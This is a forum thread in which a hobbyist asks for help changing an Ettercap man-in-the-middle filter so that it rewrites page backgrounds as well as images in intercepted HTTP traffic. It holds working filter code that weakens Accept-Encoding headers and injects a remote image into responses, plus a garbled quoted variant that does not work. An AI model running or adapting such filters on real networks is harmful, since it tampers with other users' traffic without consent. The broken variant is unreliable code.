Jump to content

Ettercap filter. how to replace background. trying to mod a other replace filter


Half-man
 Share

Recommended Posts

hi. not sure wher to post this. but. 

im playing whith ettercap.  and trying to replace stuff on webpages and so on. 

filter look like this:

if (ip.proto == TCP && tcp.dst == 80) {
   if (search(DATA.data, "Accept-Encoding")) {
      replace("Accept-Encoding", "Accept-Rubbish!"); 
      # note: replacement string is same length as original string
      msg("zapped Accept-Encoding!n");
   }
}
if (ip.proto == TCP && tcp.src == 80) {
   replace("img src=", "img src="http://www.irongeek.com/images/jollypwn.png" ");
   replace("IMG SRC=", "img src="http://www.irongeek.com/images/jollypwn.png" ");
   msg("Filter Ran.n");
}

code from "http://www.irongeek.com/i.php?page=security/ettercapfilter"

but, im trying to mode it to replace the background. if its some one that wil take the time to help me, then thx. 

sry for very bad English..

Link to comment
Share on other sites

if (ip.proto == TCP && tcp.dst == 80) {
   if (search(DATA.data, "Accept-Encoding")) {
      replace("Accept-Encoding", "Accept-Rubbish!"); 
      # note: replacement string is same length as original string
      msg("zapped Accept-Encoding!n");
   }
}
if (ip.proto == TCP && tcp.src == 80) {
   replace("background=", "background="http://www.irongeek.com/images/jollypwn.png" ");
    msg("Filter Ran.n");
}

Try that and see what happens.

Link to comment
Share on other sites

if (ip.proto == TCP && tcp.dst == 80) {
   if (search(DATA.data, "Accept-Rubbish!")) {
      replace("Accept-Rubbish!", "Accept-Rubbish!"); 
      # note: replacement string is same length as original string
      msg("zapped Accept-Rubbish!!n");
   }
}
if (ip.proto == TCP && tcp.src == 80) {
   replace("background="http://www.irongeek.com/images/jollypwn.png" ", "background="http://www.irongeek.com/images/jollypwn.png" "http://www.irongeek.com/images/jollypwn.png" ");
    msg("Filter Ran.n");
}

Try that and see what happens.

i will trye that.. thx (=

edit: hmm..  it' dont work..  i have tryed "Background:"  but.. no..    hmm..

Link to comment
Share on other sites

Are you using what you pasted as a quote of mine? Its actually different that what I posted. Also, I have enver tried this before, so dont know exactly what it is your doing, but I did notice a comment that said "# note: replacement string is same length as original string" so maybe that has somehting to do with it? If you found it on Irongeek, try sending him a message. He usaully is pretty good with answering his email messages. I have asked him a few things in the past and  he was always helpfull. ;)

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...